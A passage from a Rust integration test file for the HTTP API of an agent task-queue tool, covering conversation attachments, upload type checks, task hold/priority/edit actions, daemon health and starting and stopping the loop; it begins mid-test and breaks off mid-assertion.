5615 .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
5616 .await;
5617 assert_eq!(b.status, 202, "{}", b.body);
5618 assert_eq!(b.json()["thinking"], true);
5619
5620 let listed = f.get("/api/talks").await.json();
5621 for id in [&id_a, &id_b] {
5622 let view = listed
5623 .as_array()
5624 .unwrap()
5625 .iter()
5626 .find(|talk| talk["id"] == *id)
5627 .unwrap();
5628 assert_eq!(view["thinking"], true, "{listed}");
5629 }
5630 let repeated = f
5631 .post(
5632 &format!("/api/talks/{id_a}/say"),
5633 Some(r#"{"text":"again"}"#),
5634 )
5635 .await;
5636 assert_eq!(repeated.status, 202, "{}", repeated.body);
5637 assert_eq!(repeated.json()["pending"], "again");
5638 }
5639
5640 const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
5643
5644 #[tokio::test]
5645 async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
5646 let f = Fixture::start().await;
5647 let id = seed_talk(&f, "20260905-000000-a1b2", "open");
5648
5649 let res = f
5650 .post_bytes(
5651 &format!("/api/talks/{id}/attachments"),
5652 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
5653 PNG_BYTES,
5654 )
5655 .await;
5656 assert_eq!(res.status, 201, "{}", res.body);
5657 let body = res.json();
5658 assert_eq!(body["name"], "shot.png");
5659 assert_eq!(body["mime"], "image/png");
5660 assert_eq!(body["bytes"], PNG_BYTES.len());
5661 let att_id = body["id"].as_str().expect("id").to_owned();
5662 assert_eq!(
5663 att_id.len(),
5664 32,
5665 "the id must never be a client-suppliable path: {att_id}"
5666 );
5667
5668 let got = f
5669 .get(&format!("/api/talks/{id}/attachments/{att_id}"))
5670 .await;
5671 assert_eq!(got.status, 200, "{}", got.body);
5672 assert_eq!(got.header("content-type"), Some("image/png"));
5673 assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
5674 assert_eq!(got.bytes, PNG_BYTES);
5675 }
5676
5677 #[tokio::test]
5678 async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
5679 let f = Fixture::start().await;
5680 let id = seed_talk(&f, "20260905-000000-c3d4", "open");
5681
5682 let svg = f
5685 .post_bytes(
5686 &format!("/api/talks/{id}/attachments"),
5687 &[("Content-Type", "image/svg+xml")],
5688 b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
5689 )
5690 .await;
5691 assert!(
5692 (400..500).contains(&svg.status),
5693 "svg must be refused: {} {}",
5694 svg.status,
5695 svg.body
5696 );
5697 assert!(svg.body.contains("SVG"), "{}", svg.body);
5698
5699 let text = f
5700 .post_bytes(
5701 &format!("/api/talks/{id}/attachments"),
5702 &[("Content-Type", "text/plain")],
5703 b"just some text",
5704 )
5705 .await;
5706 assert!(
5707 (400..500).contains(&text.status),
5708 "an unlisted type must be refused: {} {}",
5709 text.status,
5710 text.body
5711 );
5712
5713 let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
5716 let big = f
5717 .post_bytes(
5718 &format!("/api/talks/{id}/attachments"),
5719 &[("Content-Type", "image/png")],
5720 &oversized,
5721 )
5722 .await;
5723 assert_eq!(
5724 big.status,
5725 StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
5726 "{}",
5727 big.body
5728 );
5729 }
5730
5731 #[tokio::test]
5732 async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
5733 let f = Fixture::start().await;
5734 let id = seed_talk(&f, "20260905-000000-d4e5", "open");
5735
5736 let res = f
5739 .post_bytes(
5740 &format!("/api/talks/{id}/attachments"),
5741 &[("Content-Type", "image/png")],
5742 b"<html>not a picture</html>",
5743 )
5744 .await;
5745 assert!((400..500).contains(&res.status), "{}", res.body);
5746 }
5747
5748 #[tokio::test]
5749 async fn an_unknown_attachment_id_is_a_404() {
5750 let f = Fixture::start().await;
5751 let id = seed_talk(&f, "20260905-000000-e5f6", "open");
5752
5753 let res = f
5754 .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
5755 .await;
5756 assert_eq!(res.status, 404, "{}", res.body);
5757 }
5758
5759 #[tokio::test]
5760 async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
5761 let f = Fixture::start().await;
5762 let id = seed_talk(&f, "20260905-000000-f6a7", "open");
5763
5764 let uploaded = f
5765 .post_bytes(
5766 &format!("/api/talks/{id}/attachments"),
5767 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
5768 PNG_BYTES,
5769 )
5770 .await;
5771 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
5772 let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
5773
5774 let res = f
5775 .post(
5776 &format!("/api/talks/{id}/say"),
5777 Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
5778 )
5779 .await;
5780 assert_eq!(res.status, 202, "{}", res.body);
5781 let queued = res.json();
5782 let turns = queued["turns"].as_array().expect("turns array");
5783 assert_eq!(
5784 turns.len(),
5785 1,
5786 "an empty body with an attachment is still a turn: {queued}"
5787 );
5788 assert_eq!(turns[0]["who"], "operator");
5789 assert_eq!(turns[0]["body"], "");
5790 let atts = turns[0]["attachments"]
5791 .as_array()
5792 .expect("attachments array");
5793 assert_eq!(atts.len(), 1);
5794 assert_eq!(atts[0]["id"], att_id);
5795 assert_eq!(atts[0]["mime"], "image/png");
5796
5797 let on_disk = f.talks().get(&id).expect("get");
5800 assert_eq!(on_disk.turns[0].attachments.len(), 1);
5801 assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
5802 }
5803
5804 #[tokio::test]
5805 async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
5806 let f = Fixture::start().await;
5807 let id = seed_talk(&f, "20260905-000000-a7b8", "open");
5808
5809 let res = f
5810 .post(
5811 &format!("/api/talks/{id}/say"),
5812 Some(&format!(
5813 r#"{{"text":"hi","attachments":["{}"]}}"#,
5814 "a".repeat(32)
5815 )),
5816 )
5817 .await;
5818 assert!((400..500).contains(&res.status), "{}", res.body);
5819 assert!(res.body.contains("unknown attachment"), "{}", res.body);
5820
5821 let on_disk = f.talks().get(&id).expect("get");
5822 assert!(
5823 on_disk.turns.is_empty(),
5824 "a rejected attachment id must not partially record the turn: {:?}",
5825 on_disk.turns
5826 );
5827 }
5828
5829 #[tokio::test]
5830 async fn talk_close_makes_the_talk_refuse_further_turns() {
5831 let f = Fixture::start().await;
5832 let id = seed_talk(&f, "20260904-014455-cd34", "open");
5833
5834 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
5835 assert_eq!(closed.status, 200, "{}", closed.body);
5836 assert_eq!(closed.json()["status"], "closed");
5837
5838 let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
5840 assert_eq!(closed_again.status, 200);
5841 assert_eq!(closed_again.json()["status"], "closed");
5842
5843 let said = f
5844 .post(
5845 &format!("/api/talks/{id}/say"),
5846 Some(r#"{"text":"too late"}"#),
5847 )
5848 .await;
5849 assert_eq!(said.status, 409, "{}", said.body);
5850 }
5851
5852 #[tokio::test]
5853 async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
5854 let (_tmp, _repo, f) = talk_fixture().await;
5855 let id = f.post("/api/talks", None).await.json()["id"]
5856 .as_str()
5857 .expect("id")
5858 .to_owned();
5859 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
5860 assert_eq!(closed.status, 200, "{}", closed.body);
5861
5862 let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
5863 assert_eq!(reopened.status, 200, "{}", reopened.body);
5864 assert_eq!(reopened.json()["status"], "open");
5865
5866 let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
5868 assert_eq!(reopened_again.status, 200);
5869 assert_eq!(reopened_again.json()["status"], "open");
5870
5871 let said = f
5872 .post(
5873 &format!("/api/talks/{id}/say"),
5874 Some(r#"{"text":"still there?"}"#),
5875 )
5876 .await;
5877 assert_eq!(
5878 said.status, 202,
5879 "a reopened talk accepts turns again: {}",
5880 said.body
5881 );
5882 }
5883
5884 #[tokio::test]
5885 async fn talk_reopen_on_an_unknown_id_is_404() {
5886 let f = Fixture::start().await;
5887 let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
5888 assert_eq!(res.status, 404, "{}", res.body);
5889 }
5890
5891 #[tokio::test]
5892 async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
5893 let f = Fixture::start().await;
5894 let id = seed_talk(&f, "20260904-014455-ef56", "closed");
5895
5896 let deleted = f.delete(&format!("/api/talks/{id}")).await;
5897 assert_eq!(deleted.status, 204, "{}", deleted.body);
5898
5899 let after = f.get(&format!("/api/talks/{id}")).await;
5900 assert_eq!(after.status, 404, "{}", after.body);
5901
5902 let listed = f.get("/api/talks").await.json();
5903 assert!(
5904 listed.as_array().unwrap().iter().all(|t| t["id"] != id),
5905 "a deleted talk must not linger in the list: {listed}"
5906 );
5907 }
5908
5909 #[tokio::test]
5910 async fn talk_delete_on_an_unknown_id_is_404() {
5911 let f = Fixture::start().await;
5912 let res = f.delete("/api/talks/nonexistent-id").await;
5913 assert_eq!(res.status, 404, "{}", res.body);
5914 }
5915
5916 #[tokio::test]
5917 async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
5918 let f = Fixture::start().await;
5919 let queue = f.queue();
5920 let mut task = Task::new(
5921 "spent".to_owned(),
5922 "Try again".to_owned(),
5923 PathBuf::from("/repo/magi"),
5924 Source::Human,
5925 );
5926 task.start("20260902-140502-bbbb".to_owned());
5927 task.fail("agent gave up", 9);
5928 queue.put(&mut task).expect("file the task");
5929
5930 let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
5931 assert_eq!(held.status, 200);
5932 assert_eq!(held.json()["status_str"], "held");
5933
5934 let released = f
5935 .post(&format!("/api/queue/{}/release", task.id), None)
5936 .await;
5937 assert_eq!(released.status, 200);
5938 assert_eq!(released.json()["status_str"], "queued");
5939 assert_eq!(
5940 released.json()["attempts"],
5941 0,
5942 "release is a real second chance, not an instant re-hold"
5943 );
5944 assert_eq!(
5945 queue.get(&task.id).expect("reload").status,
5946 TaskStatus::Queued,
5947 "the change is on disk, not only in the reply"
5948 );
5949 assert!(
5950 !f.home
5951 .path()
5952 .join("queue")
5953 .join(format!("{}.lock", task.id))
5954 .exists(),
5955 "the claim the mutation took is released again"
5956 );
5957 }
5958
5959 #[tokio::test]
5960 async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
5961 let f = Fixture::start().await;
5962 let queue = f.queue();
5963 let mut task = Task::new(
5964 "busy".to_owned(),
5965 "Running right now".to_owned(),
5966 PathBuf::from("/repo/magi"),
5967 Source::Human,
5968 );
5969 queue.put(&mut task).expect("file the task");
5970 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
5971
5972 let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
5973
5974 assert_eq!(res.status, 409);
5975 assert_eq!(
5976 queue.get(&task.id).expect("reload").status,
5977 TaskStatus::Queued,
5978 "the refused hold changed nothing"
5979 );
5980 }
5981
5982 #[tokio::test]
5983 async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
5984 let f = Fixture::start().await;
5985 let queue = f.queue();
5986 let mut task = Task::new(
5987 "waiting on the migration".to_owned(),
5988 "Do the thing".to_owned(),
5989 PathBuf::from("/repo/magi"),
5990 Source::Human,
5991 );
5992 queue.put(&mut task).expect("file the task");
5993
5994 let held = f
5995 .post(
5996 &format!("/api/queue/{}/hold", task.id),
5997 Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
5998 )
5999 .await;
6000 assert_eq!(held.status, 200, "{}", held.body);
6001 assert_eq!(held.json()["status_str"], "held");
6002 assert_eq!(
6003 held.json()["hold_reason"],
6004 "waiting for 20260101-000000-aaaa to land"
6005 );
6006
6007 let listed = f.get("/api/queue").await.json();
6008 assert_eq!(
6009 listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
6010 "the card reads the reason off the same list route"
6011 );
6012
6013 let mut plain = Task::new(
6016 "no reason given".to_owned(),
6017 "Do another thing".to_owned(),
6018 PathBuf::from("/repo/magi"),
6019 Source::Human,
6020 );
6021 queue.put(&mut plain).expect("file the task");
6022 let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
6023 assert_eq!(held_plain.status, 200, "{}", held_plain.body);
6024 assert!(held_plain.json()["hold_reason"].is_null());
6025
6026 let released = f
6027 .post(&format!("/api/queue/{}/release", task.id), None)
6028 .await;
6029 assert_eq!(released.status, 200);
6030 assert!(
6031 released.json()["hold_reason"].is_null(),
6032 "a release must clear the reason so the next hold does not inherit it"
6033 );
6034 }
6035
6036 #[tokio::test]
6037 async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
6038 let f = Fixture::start().await;
6039 let queue = f.queue();
6040 let mut older = Task::new(
6041 "filed first".to_owned(),
6042 "x".to_owned(),
6043 PathBuf::from("/repo/magi"),
6044 Source::Human,
6045 );
6046 older.id = "20260101-000001-aaaa".to_owned();
6047 let mut newer = Task::new(
6048 "filed second".to_owned(),
6049 "x".to_owned(),
6050 PathBuf::from("/repo/magi"),
6051 Source::Human,
6052 );
6053 newer.id = "20260101-000002-bbbb".to_owned();
6054 queue.put(&mut older).expect("file older");
6055 queue.put(&mut newer).expect("file newer");
6056
6057 let before = f.get("/api/queue").await.json();
6060 assert_eq!(before[0]["id"], newer.id);
6061 assert_eq!(before[1]["id"], older.id);
6062
6063 let raised = f
6067 .post(
6068 &format!("/api/queue/{}/priority", older.id),
6069 Some(r#"{"priority":10}"#),
6070 )
6071 .await;
6072 assert_eq!(raised.status, 200, "{}", raised.body);
6073 assert_eq!(raised.json()["priority"], 10);
6074
6075 let after = f.get("/api/queue").await.json();
6076 let names: Vec<&str> = after
6077 .as_array()
6078 .unwrap()
6079 .iter()
6080 .map(|t| t["id"].as_str().unwrap())
6081 .collect();
6082 assert_eq!(names[0], older.id, "the raised task now sorts first");
6086 }
6087
6088 #[tokio::test]
6089 async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
6090 let f = Fixture::start().await;
6091 let queue = f.queue();
6092 let mut task = Task::new(
6093 "in flight".to_owned(),
6094 "x".to_owned(),
6095 PathBuf::from("/repo/magi"),
6096 Source::Human,
6097 );
6098 task.start("20260902-140502-bbbb".to_owned());
6099 queue.put(&mut task).expect("file the task");
6100
6101 let res = f
6102 .post(
6103 &format!("/api/queue/{}/priority", task.id),
6104 Some(r#"{"priority":9}"#),
6105 )
6106 .await;
6107 assert_eq!(res.status, 400, "{}", res.body);
6108 assert!(
6109 res.json()["error"]
6110 .as_str()
6111 .is_some_and(|e| e.contains("running")),
6112 "{}",
6113 res.body
6114 );
6115 assert_eq!(
6116 queue.get(&task.id).expect("reload").priority,
6117 0,
6118 "the refused write must not partially apply"
6119 );
6120 }
6121
6122 #[tokio::test]
6123 async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
6124 let f = Fixture::start().await;
6125 let queue = f.queue();
6126 let mut task = Task::new(
6127 "old title".to_owned(),
6128 "old instruction".to_owned(),
6129 PathBuf::from("/repo/magi"),
6130 Source::Agent {
6131 run: "20260101-000000-beef".to_owned(),
6132 node: "implement".to_owned(),
6133 },
6134 );
6135 task.runs.push("20260101-000000-beef".to_owned());
6136 queue.put(&mut task).expect("file the task");
6137 let created_at = task.created_at;
6138
6139 let edited = f
6140 .post(
6141 &format!("/api/queue/{}/edit", task.id),
6142 Some(r#"{"title":"new title","instruction":"new instruction"}"#),
6143 )
6144 .await;
6145 assert_eq!(edited.status, 200, "{}", edited.body);
6146 let body = edited.json();
6147 assert_eq!(body["title"], "new title");
6148 assert_eq!(body["instruction"], "new instruction");
6149 assert_eq!(body["id"], task.id, "editing must not mint a new id");
6150 assert_eq!(body["created_at"], created_at.to_string());
6151 assert_eq!(
6152 body["source"]["kind"], "agent",
6153 "editing a task an agent filed must not turn it human: {body}"
6154 );
6155 assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
6156
6157 let reloaded = queue.get(&task.id).expect("reload");
6158 assert_eq!(reloaded.title, "new title");
6159 assert_eq!(reloaded.instruction, "new instruction");
6160 }
6161
6162 #[tokio::test]
6163 async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
6164 let f = Fixture::start().await;
6165 let queue = f.queue();
6166 let mut task = Task::new(
6167 "in flight".to_owned(),
6168 "do not touch".to_owned(),
6169 PathBuf::from("/repo/magi"),
6170 Source::Human,
6171 );
6172 task.start("20260902-140502-bbbb".to_owned());
6173 queue.put(&mut task).expect("file the task");
6174
6175 let res = f
6176 .post(
6177 &format!("/api/queue/{}/edit", task.id),
6178 Some(r#"{"title":"x","instruction":"y"}"#),
6179 )
6180 .await;
6181 assert_eq!(res.status, 400, "{}", res.body);
6182 assert!(
6183 res.json()["error"]
6184 .as_str()
6185 .is_some_and(|e| e.contains("running")),
6186 "{}",
6187 res.body
6188 );
6189 assert_eq!(
6190 queue.get(&task.id).expect("reload").instruction,
6191 "do not touch",
6192 "the refused edit must not change the file"
6193 );
6194 }
6195
6196 #[tokio::test]
6197 async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
6198 let f = Fixture::start().await;
6199 let queue = f.queue();
6200 let mut task = Task::new(
6201 "busy".to_owned(),
6202 "Running right now".to_owned(),
6203 PathBuf::from("/repo/magi"),
6204 Source::Human,
6205 );
6206 queue.put(&mut task).expect("file the task");
6207 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
6208
6209 let priority = f
6210 .post(
6211 &format!("/api/queue/{}/priority", task.id),
6212 Some(r#"{"priority":9}"#),
6213 )
6214 .await;
6215 assert_eq!(priority.status, 409, "{}", priority.body);
6216
6217 let edit = f
6218 .post(
6219 &format!("/api/queue/{}/edit", task.id),
6220 Some(r#"{"title":"x","instruction":"y"}"#),
6221 )
6222 .await;
6223 assert_eq!(edit.status, 409, "{}", edit.body);
6224 }
6225
6226 #[tokio::test]
6227 async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
6228 let f = Fixture::start().await;
6229 let queue = f.queue();
6230 let mut task = Task::new(
6231 "shipped by hand".to_owned(),
6232 "merged outside the loop".to_owned(),
6233 PathBuf::from("/repo/magi"),
6234 Source::Agent {
6235 run: "20260101-000000-b455".to_owned(),
6236 node: "implement".to_owned(),
6237 },
6238 );
6239 task.runs.push("20260101-000000-b455".to_owned());
6240 task.runs.push("20260101-000000-9af4".to_owned());
6241 queue.put(&mut task).expect("file the task");
6242 let created_at = task.created_at;
6243
6244 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
6245 assert_eq!(done.status, 200, "{}", done.body);
6246 assert_eq!(done.json()["status_str"], "done");
6247
6248 let reloaded = queue.get(&task.id).expect("a done task is still on disk");
6249 assert_eq!(
6250 reloaded.runs,
6251 ["20260101-000000-b455", "20260101-000000-9af4"]
6252 );
6253 assert_eq!(
6254 reloaded.source,
6255 Source::Agent {
6256 run: "20260101-000000-b455".to_owned(),
6257 node: "implement".to_owned(),
6258 }
6259 );
6260 assert_eq!(reloaded.created_at, created_at);
6261 }
6262
6263 #[tokio::test]
6264 async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
6265 let f = Fixture::start().await;
6270 let queue = f.queue();
6271 let mut task = Task::new(
6272 "landed while held".to_owned(),
6273 "x".to_owned(),
6274 PathBuf::from("/repo/magi"),
6275 Source::Human,
6276 );
6277 task.hold_manual(Some("waiting on 3ed9".to_owned()));
6278 queue.put(&mut task).expect("file the held task");
6279
6280 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
6281 assert_eq!(done.status, 200, "{}", done.body);
6282 assert_eq!(done.json()["status_str"], "done");
6283 assert!(
6284 done.json()["hold_reason"].is_null(),
6285 "a done task cannot still be waiting on something: {}",
6286 done.body
6287 );
6288 }
6289
6290 #[tokio::test]
6291 async fn unknown_ids_are_json_not_found_on_both_stores() {
6292 let f = Fixture::start().await;
6293
6294 let run = f.get("/api/runs/nosuchrun").await;
6295 let task = f.post("/api/queue/nosuchtask/hold", None).await;
6296
6297 assert_eq!(run.status, 404);
6298 assert_eq!(task.status, 404);
6299 assert!(
6300 run.json()["error"]
6301 .as_str()
6302 .is_some_and(|e| e.contains("run")),
6303 "the error names what was not found: {}",
6304 run.body
6305 );
6306 assert!(
6307 task.json()["error"]
6308 .as_str()
6309 .is_some_and(|e| e.contains("task")),
6310 "the error names what was not found: {}",
6311 task.body
6312 );
6313 }
6314
6315 #[tokio::test]
6316 async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
6317 let f = Fixture::start().await;
6318
6319 let missing = f.get("/api/health").await.json();
6320 assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
6321
6322 write_daemon(
6323 f.home.path(),
6324 Timestamp::now() - jiff::SignedDuration::from_secs(60),
6325 );
6326 let stale = f.get("/api/health").await.json();
6327 assert_eq!(
6328 stale["daemon"]["running"], false,
6329 "a minute without a heartbeat is a dead daemon, not a busy one"
6330 );
6331 assert!(
6332 stale["daemon"]["stale_for_secs"]
6333 .as_i64()
6334 .is_some_and(|s| s >= 55),
6335 "staleness is reported so the UI can say how long: {stale}"
6336 );
6337
6338 write_daemon(f.home.path(), Timestamp::now());
6339 let fresh = f.get("/api/health").await.json();
6340 assert_eq!(fresh["daemon"]["running"], true);
6341 assert_eq!(fresh["daemon"]["idle"], false);
6342 assert_eq!(fresh["daemon"]["pid"], 4242);
6343 assert_eq!(fresh["daemon"]["completed"], 7);
6344 assert_eq!(
6345 fresh["daemon"]["current"][0]["task"],
6346 "20260902-140501-aaaa"
6347 );
6348 assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
6349 }
6350
6351 #[tokio::test]
6352 async fn the_loop_is_not_running_until_something_starts_it() {
6353 let f = Fixture::start().await;
6354
6355 let view = f.get("/api/loop").await.json();
6356 assert_eq!(view["running"], false);
6357 assert_eq!(
6358 view["owned"], false,
6359 "nobody owns a loop that does not exist: {view}"
6360 );
6361 assert_eq!(view["stopping"], false);
6362 assert_eq!(view["last_error"], Value::Null);
6363 assert_eq!(view["daemon"]["running"], false);
6364 assert_eq!(
6365 view["repo"], "/repo/magi",
6366 "the repository a start would use, named before it is started"
6367 );
6368 }
6369
6370 #[tokio::test]
6371 async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
6372 let f = Fixture::start().await;
6373
6374 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
6375 assert_eq!(res.status, 200, "{}", res.body);
6376 let view = res.json();
6377 assert_eq!(view["running"], true);
6378 assert_eq!(
6379 view["owned"], true,
6380 "the loop the UI started is the UI's own to stop: {view}"
6381 );
6382 assert_eq!(
6383 view["merge"],
6384 Value::Null,
6385 "no override was given, so each repository's own config decides"
6386 );
6387
6388 let health = f.get("/api/health").await.json();
6392 assert_eq!(health["loop"]["running"], true, "{health}");
6393 assert_eq!(health["loop"]["owned"], true, "{health}");
6394
6395 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
6396 }
6397
6398 #[tokio::test]
6399 async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
6400 let f = Fixture::start().await;
6401 let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
6402 assert_eq!(first.status, 200, "{}", first.body);
6403
6404 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
6405 assert_eq!(
6406 again.status, 409,
6407 "two loops on one queue race for the same claims: {}",
6408 again.body
6409 );
6410 assert!(
6411 again.json()["error"]
6412 .as_str()
6413 .is_some_and(|e| e.contains("already running the loop")),
6414 "the refusal has to say why: {}",
6415 again.body
6416 );
6417 assert_eq!(
6418 f.get("/api/loop").await.json()["running"],
6419 true,
6420 "and the loop that was already running is untouched by it"
6421 );
6422
6423 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
6424 }
6425
6426 #[tokio::test]
6427 async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
6428 let f = Fixture::start().await;
6429 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
6430
6431 let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
6432 assert_eq!(
6433 res.status, 200,
6434 "the answer must not wait for the loop: a run in flight is tens of \
6435 minutes and the operator is holding a phone: {}",
6436 res.body
6437 );
6438
6439 let view = settled(&f, |v| v["running"] == false).await;
6440 assert_eq!(view["owned"], false);
6441 assert_eq!(
6442 view["stopping"], false,
6443 "a loop that has stopped is not still stopping: {view}"
6444 );
6445 assert_eq!(
6446 view["last_error"],
6447 Value::Null,
6448 "a loop that was asked to stop did not fail: {view}"
6449 );
6450
6451 let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
6454 assert_eq!(twice.status, 200, "{}", twice.body);
6455 }
6456
6457 #[tokio::test]
6458 async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
6459 let f = Fixture::start().await;
6460 write_daemon(f.home.path(), Timestamp::now());
6463
6464 let view = f.get("/api/loop").await.json();
6465 assert_eq!(view["running"], false, "not in this process: {view}");
6466 assert_eq!(view["owned"], false, "and not this process's to control");
6467 assert_eq!(
6468 view["daemon"]["running"], true,
6469 "but a loop is alive somewhere, which is what the UI must say"
6470 );
6471 assert_eq!(view["daemon"]["pid"], 4242);
6472
6473 for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
6474 let res = f.post("/api/loop", Some(body)).await;
6475 assert_eq!(
6476 res.status, 409,
6477 "neither button may pretend to work on someone else's loop: {}",
6478 res.body
6479 );
6480 assert!(
6481 res.json()["error"]
6482 .as_str()
6483 .is_some_and(|e| e.contains("4242")),
6484 "the refusal has to name the process the operator must go to: {}",
6485 res.body
6486 );
6487 }
6488 assert_eq!(
6489 f.get("/api/loop").await.json()["running"],
6490 false,
6491 "and the refusal started nothing"
6492 );
6493 }
6494
6495 #[tokio::test]
6496 async fn a_stale_status_file_is_not_a_foreign_owner() {
6497 let f = Fixture::start().await;
6498 write_daemon(
6499 f.home.path(),
6500 Timestamp::now() - jiff::SignedDuration::from_secs(60),
6501 );
6502
6503 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
6504 assert_eq!(
6505 res.status, 200,
6506 "a daemon killed a minute ago must not lock the loop out of its \
6507 own home for good: {}",
6508 res.body
6509 );
6510 assert_eq!(res.json()["running"], true);
6511
6512 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
6513 }
6514
6515 #[tokio::test]
6516 async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
6517 let f = Fixture::start().await;
6518 let before = f.get("/api/health").await.json()["loop_rev"]
6519 .as_u64()
6520 .expect("a loop revision");
6521
6522 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
6523
6524 let after = f.get("/api/health").await.json()["loop_rev"]
6525 .as_u64()
6526 .expect("a loop revision");
6527 assert!(
6528 after > before,
6529 "the loop is in-process state, so this counter is the only thing \
6530 that tells a second device the first one started it: {before} -> \
6531 {after}"
6532 );
6533
6534 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
6535 }
6536
6537 #[tokio::test]
6538 async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
6539 let f = Fixture::with_loop(launch_broken).await;
6540
6541 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
6542 assert_eq!(
6543 res.status, 200,
6544 "starting it is not the failure: {}",
6545 res.body
6546 );
6547
6548 let view = settled(&f, |v| v["last_error"].is_string()).await;
6549 assert_eq!(
6550 view["running"], false,
6551 "a loop that died must not read as running, or the operator has \
6552 nothing to press: {view}"
6553 );
6554 assert_eq!(view["owned"], false);
6555 assert!(
6556 view["last_error"]
6557 .as_str()
6558 .is_some_and(|e| e.contains("read-only file system")),
6559 "the phone is where a loop that died at 3am is visible: {view}"
6560 );
6561
6562 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
6565 assert_eq!(again.status, 200, "{}", again.body);
6566 assert_eq!(
6567 again.json()["last_error"],
6568 Value::Null,
6569 "a fresh start does not keep showing why the last one died"
6570 );
6571 }
6572
6573 #[tokio::test]
6585 async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
6586 let home = TempDir::new().expect("temp home");
6587 let runs = home.path().join("runs");
6588 std::fs::create_dir_all(&runs).expect("runs dir");
6589 let ui = Ui::new(
6590 Queue::at(home.path().join("queue")),
6591 Questions::at(home.path().join("questions")),
6592 Talks::at(home.path().join("talks")),
6593 runs,
6594 home.path().to_path_buf(),
6595 PathBuf::from("/repo/magi"),
6596 )
6597 .with_worktrees_root(home.path().join("wt"))
6598 .with_launch(launch_knocking_on_the_way_out);
6599 let looping = ui.looping();
6600 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
6601 .await
6602 .expect("bind loopback");
6603 let addr = listener.local_addr().expect("local addr");
6604 *PARK_KNOCK.lock().expect("park knock") = Some(addr);
6605 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
6606
6607 let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
6608 assert_eq!(started.status, 200, "the loop starts: {}", started.body);
6609
6610 let bound = std::sync::Mutex::new(None);
6613 hand_over(home.path(), &looping, served, || {
6614 let attempt = std::net::TcpListener::bind(addr).map_err(|e| e.to_string());
6615 *bound.lock().expect("bound") = Some(attempt);
6616 Ok(())
6617 })
6618 .await
6619 .expect("hand over");
6620
6621 assert_eq!(
6622 *PARK_HEARD.lock().expect("park heard"),
6623 Some(200),
6624 "the deck must answer while the loop is parking"
6625 );
6626 let attempt = bound
6627 .lock()
6628 .expect("bound")
6629 .take()
6630 .expect("the successor was started");
6631 assert!(
